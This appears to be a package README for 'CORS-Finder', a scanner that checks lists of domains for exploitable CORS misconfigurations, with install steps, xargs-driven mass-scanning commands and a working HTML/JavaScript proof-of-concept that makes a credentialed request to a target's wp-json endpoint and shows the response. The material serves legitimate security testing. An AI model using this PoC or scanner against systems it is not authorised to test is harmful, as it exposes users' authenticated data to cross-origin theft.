The cors-detector package is used to find the vulnerable CORS domains
Project description
CORS-Finder
This tools is developed for identifying the vulnerable cors domain
How to install CORS-Finder:
git clone https://github.com/hariharan005/CORS.git
ls
cd CORS
sudo pip3 install -r requirements.txt
python3 cors.py
Python Version:
- Python 3 (3.x.x) latest version
How to Use CORS-Finder:
For scanning:
cat <domain.txt> | xargs -n1 -P10 python3 corss.py
For scanning with output:
cat <domain.txt> | xargs -n1 -P10 python3 corss.py | tee -a <output.txt>
When its vulnerable:
If the header returns the Access-Control-Allow-Origin: https://vulnerable.com/ Access-Control-Allow-Credentials: true its vulnerable
Note: Not all the time its seems vulnerable, you have to check with cors payload and in the authenticated manner also. Try to exploit and this tool is only for indentifying the vulnerable domain
Note: In this tool i used sample domain file but you have to choose your own url file which you recon using some other recon tool.
Exploitation examples:
Here is the Example code for exploiting the CORS misconfiguration:
Goto this line and replace the URL xhr.open("GET", "https://www.vulnerable.com/blog/wp-json/", true);
<!DOCTYPE html>
<html>
<title>Cors POC</title>
<style>
body{
background-color: white;
justify-content: center;
}
button{
justify-content: center;
align-items: center;
color: white;
border-radius: 8px;
font-size: 18px;
background-color: #6437A0;
position: relative;
width: 10%;
height: 50px;
display: grid;
}
</style>
<body>
<h1>CORS PoC by @crypto_grapper_</h1><span><h2>Hariharan.C</h2></span>
<div id="demo">
<button type="button" onclick="cors()" >Wp-json Exploit</button>
</div>
</div>
<script>
function cors() {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhr.open("GET", "https://www.vulnerable.com/blog/wp-json/", true);
xhr.withCredentials = true;
xhr.send();
}
setTimeout(() => {
document.location.reload("#");
}, 5000);
</script>
</body>
</html>
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